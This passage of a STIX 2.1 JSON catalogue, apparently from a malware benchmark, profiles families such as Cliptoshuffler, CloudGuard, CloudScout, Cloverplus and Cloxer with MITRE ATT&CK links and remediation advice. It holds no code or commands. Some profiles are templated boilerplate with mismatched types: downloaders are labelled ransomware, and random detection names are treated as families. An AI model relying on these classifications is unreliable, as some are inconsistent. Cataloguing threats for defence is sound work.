Scanning:</strong> Utilize an enterprise-grade anti-malware solution to perform a full system scan. Clippers often lack complex obfuscation but hide deep within system processes or as scheduled tasks.</li>\n<li><strong>Transaction Verification Procedures:</strong> The most effective defense against clippers is procedural: users must be trained to manually verify the first and last several characters of a cryptocurrency address <em>after</em> pasting it into the destination field and <em>before</em> clicking send.</li>\n<li><strong>Comprehensive Review:</strong> The presence of a clipper often indicates a broader compromise. A full forensic review of the endpoint should be conducted to ensure no secondary backdoors or info-stealers were deployed alongside the clipper.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Clipper",
        "Trojan.CoinThief",
        "Win32/Cliptoshuffler"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cliptoshuffler",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cliptoshuffler"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--353a7d49-5181-5981-b465-73258d2aae0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab0cd631-025d-54f8-847e-3290eeaf7c6f",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cliptoshuffler exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--42d77d66-a317-5dd6-8076-f4bd757e405a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1565.001: Data Manipulation: Stored Data Manipulation (Altering DNS IP settings)",
      "description": "MITRE ATT&CK Technique T1565.001 (Data Manipulation: Stored Data Manipulation (Altering DNS IP settings)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1565.001",
          "url": "https://attack.mitre.org/techniques/T1565/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--287abfe0-76b3-54ef-8a4e-e5c05dda06dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab0cd631-025d-54f8-847e-3290eeaf7c6f",
      "target_ref": "attack-pattern--42d77d66-a317-5dd6-8076-f4bd757e405a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cliptoshuffler exhibits technique T1565.001 (Data Manipulation: Stored Data Manipulation (Altering DNS IP settings))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--899acb86-9d6d-5ce0-b515-aa8b74f2b815",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab0cd631-025d-54f8-847e-3290eeaf7c6f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cliptoshuffler exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c980e427-01e5-57b3-809b-d54f78fc8ec1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cloudguard",
      "description": "CloudGuard (classified across antivirus vendors under designations including PUA:Win32/CloudGuard and Rogue:Win32/CloudGuard) is a rogue PC optimization and security scareware program that deceives Windows users into purchasing fraudulent licenses. Distributed via pay-per-install freeware bundles and deceptive pop-up advertisements, CloudGuard performs fabricated system scans upon installation. It intentionally reports non-existent malware infections, outdated drivers, and harmless temporary files as critical security vulnerabilities. The software locks its cleanup functionality behind an expensive payment wall and establishes persistent autostart entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to continually display intrusive warning banners and nag screens. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/CloudGuard",
        "Rogue:Win32/CloudGuard",
        "Program:Win32/CloudGuard",
        "CloudGuard Antivirus",
        "Win32/CloudGuard"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cloudguard",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cloudguard"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--573f4b31-e0fe-5545-b44d-428c294483ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c980e427-01e5-57b3-809b-d54f78fc8ec1",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloudguard exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--117e7e23-027a-5eb2-93b3-0a852a18218a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c980e427-01e5-57b3-809b-d54f78fc8ec1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloudguard exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d09d7394-6ee0-51a8-b708-a745efb94fe3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c980e427-01e5-57b3-809b-d54f78fc8ec1",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloudguard exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d900e365-71d3-5394-8c39-645632b0c4c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c980e427-01e5-57b3-809b-d54f78fc8ec1",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloudguard exhibits technique T1491 (Defacement (UI Manipulation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ff4268b-fed5-52b8-92f9-301f165ad7ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c980e427-01e5-57b3-809b-d54f78fc8ec1",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloudguard exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1b76f569-5ba6-520b-b1bd-e0791ec0e312",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cloudscout",
      "description": "CloudScout (cataloged by cybersecurity research labs under designations including Trojan:Win32/CloudScout and Backdoor.CloudScout) is a sophisticated, modular post-compromise cyber espionage framework written in C# (.NET) discovered in 2024 by ESET research. The malware is definitively attributed to the China-aligned Advanced Persistent Threat (APT) group known as Evasive Panda (also tracked as Daggerfly, Bronze Highland, and StormBamboo). Operating as specialized extension plugins for Evasive Panda's flagship MgBot backdoor, CloudScout is specifically engineered to steal web session cookies from compromised endpoints. By exfiltrating active session tokens, CloudScout enables threat actors to hijack user sessions and bypass Multi-Factor Authentication (MFA) on major cloud platforms including Google Drive, Gmail, and Microsoft Outlook without requiring user passwords. It has been deployed in targeted cyber espionage operations against government bodies and religious organizations. (Observed samples in benchmark: 67)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/CloudScout",
        "CloudScout",
        "Backdoor.CloudScout",
        "Evasive Panda CloudScout"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cloudscout",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cloudscout"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7aaae1e3-990e-5e41-b1ea-8085c7007a95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b76f569-5ba6-520b-b1bd-e0791ec0e312",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloudscout exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9375eceb-bffe-5407-b87f-89fafcfd66f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b76f569-5ba6-520b-b1bd-e0791ec0e312",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloudscout exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b501e7b-ed48-53d2-a31e-7561e289ebcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b76f569-5ba6-520b-b1bd-e0791ec0e312",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloudscout exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--580f1fae-bedd-5b36-8a56-d625b2eaf8f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b76f569-5ba6-520b-b1bd-e0791ec0e312",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloudscout exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d81c5447-4b87-5fa8-8fd9-d3e6878c7fc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b76f569-5ba6-520b-b1bd-e0791ec0e312",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloudscout exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--da787edd-d42f-5666-9153-5bb860b9ce63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cloudwrapper",
      "description": "CloudWrapper (cataloged across security vendors and threat intelligence databases as SoftwareBundler:Win32/CloudWrapper, PUA:Win32/CloudWrapper, and PUP.Optional.CloudWrapper) is a commercial software bundler, installer wrapper, and adware delivery framework active since 2016. Deployed by shady download portals to monetize third-party freeware, open-source utilities, and pirated software, CloudWrapper encapsulates legitimate installation binaries within a cloud-managed installation shell. When launched, the wrapper connects to remote cloud endpoints to retrieve real-time advertising campaigns, displaying multi-tiered offer screens with pre-selected installation checkboxes and misleading Accept workflows. It covertly installs secondary adware extensions, system cleaners, and sponsored search hijackers onto target endpoints before releasing the original requested software. (Observed samples in benchmark: 33)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SoftwareBundler:Win32/CloudWrapper",
        "PUA:Win32/CloudWrapper",
        "PUP.Optional.CloudWrapper",
        "Win32/CloudWrapper",
        "Adware.CloudWrapper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cloudwrapper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cloudwrapper"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6eb15dc6-464f-5cc4-8c36-ce702003056b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cloverplus",
      "description": "Trojan:Win32/Cloverplus is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cloverplus</b><br>To an end-user, a Cloverplus infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cloverplus is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cloverplus is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Cloverplus frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cloverplus reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cloverplus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cloverplus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ab91535-81a2-5db1-b9aa-025de0c0d4ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6eb15dc6-464f-5cc4-8c36-ce702003056b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloverplus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f7a2ad2-7644-5175-b6c3-eb039fce3fa2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6eb15dc6-464f-5cc4-8c36-ce702003056b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloverplus exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a196f3c-b626-5dc4-abf6-ca04094d1ce1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6eb15dc6-464f-5cc4-8c36-ce702003056b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloverplus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63be1352-f46b-579f-a886-1162042597ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6eb15dc6-464f-5cc4-8c36-ce702003056b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloverplus exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7eced430-8fc5-55fb-a77c-0952d708f716",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6eb15dc6-464f-5cc4-8c36-ce702003056b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloverplus exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--31229250-053c-5bb2-9100-03ed23e7eac8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cloxer",
      "description": "Trojan:Win32/Cloxer is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cloxer</b><br>To an end-user, a Cloxer infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cloxer is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cloxer is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Cloxer frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cloxer reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cloxer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cloxer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9633856d-9a9f-571c-824a-df72bcf35a35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31229250-053c-5bb2-9100-03ed23e7eac8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloxer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5bd74aec-044c-5579-aa1b-0424d3a8acb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31229250-053c-5bb2-9100-03ed23e7eac8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloxer exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d94e6eff-9c39-5fdd-99f7-7b89521c0ce0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31229250-053c-5bb2-9100-03ed23e7eac8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloxer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47d74367-ca83-5c04-86c6-13ee309de19f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31229250-053c-5bb2-9100-03ed23e7eac8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloxer exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc5cf4bd-996f-58ad-a78f-ad96e26dcfc1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31229250-053c-5bb2-9100-03ed23e7eac8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cloxer exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e60195e6-f648-5634-b320-a94ba9f39393",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cmgfaeflb9E",
      "description": "<h3>Executive Summary</h3>\nCMGFAEFLB9E is an automated, signature-based detection name used by security engines to identify a highly obfuscated, randomly generated Trojan dropper or downloader. The non-sensical, randomized naming convention strongly indicates that this executable was generated dynamically by a malware \"crypter\" or packer service. These services are specifically designed by threat actors to generate unique file hashes on every deployment, explicitly to evade static, signature-based antivirus solutions.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHighly randomized executables like this are the hallmark of massive, automated cybercriminal distribution networks. They are typically encountered as malicious email attachments (often disguised as invoices or shipping receipts) or delivered silently via drive-by downloads when a user visits a compromised website hosting an exploit kit.\n\nUpon execution, the malware's primary function is deployment and evasion:\n<ul>\n<li><strong>In-Memory Evasion:</strong> The executable acts as a heavily encrypted shell. When run, it decrypts its core malicious payload and injects it directly into the memory space of a trusted, built-in Windows process (like `explorer.exe` or `svchost.exe`). This technique, known as Process Hollowing, prevents traditional antivirus from scanning the decrypted payload on the hard drive.</li>\n<li><strong>C2 Beaconing:</strong> Once active in memory, the Trojan \"beacons\" out to a Command and Control (C2) server to signal a successful compromise and request further instructions.</li>\n<li><strong>Payload Dropping:</strong> The ultimate purpose of this initial Trojan is to download and install a secondary, more specialized malware payload, such as a banking Trojan, a cryptocurrency miner, or enterprise ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of CMGFAEFLB9E is a critical incident. It signifies that a sophisticated, evasion-focused threat has bypassed initial network defenses and is actively attempting to deploy a severe secondary payload onto the compromised endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The endpoint must be disconnected from the corporate network immediately to prevent the successful download of the secondary payload and to halt any potential lateral movement.</li>\n<li><strong>EDR Triage:</strong> Security analysts must utilize Endpoint Detection and Response (EDR) to trace the execution tree of the randomized executable. Identifying any child processes spawned or anomalous network connections made is critical to determining the scope of the breach.</li>\n<li><strong>Total Re-imaging:</strong> Because these trojans rely heavily on process injection and deep system hooking, attempting to \"clean\" the machine manually is highly risky. A complete bare-metal wipe and re-image from a trusted baseline is required.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Obfuscated.Gen",
        "Dropper.RandomName",
        "Win32/Trojan.Packer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cmgfaeflb9E",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cmgfaeflb9e"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--acae9de2-cbc6-5943-b48c-80841a96b2a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e60195e6-f648-5634-b320-a94ba9f39393",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cmgfaeflb9E exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e82b5805-84a3-5196-aeff-a6325bc7fdba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e60195e6-f648-5634-b320-a94ba9f39393",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cmgfaeflb9E exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c78d8ecd-9ced-5a63-9baa-a45ffe1aef4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e60195e6-f648-5634-b320-a94ba9f39393",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cmgfaeflb9E exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--14e36f2d-4657-5845-a2fb-85ab172e691e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cmhfbw9R",
      "description": "<h3>Executive Summary</h3>\n\"Cmhfbw9r\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The random, DGA-like naming convention strongly suggests that this malware was generated dynamically by an automated exploit kit or malware builder to evade static antivirus signatures through constant polymorphic mutation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these randomized naming conventions is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> Cmhfbw9r typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, randomly named files in critical system directories (like `%AppData%` or `%Temp%`) is a 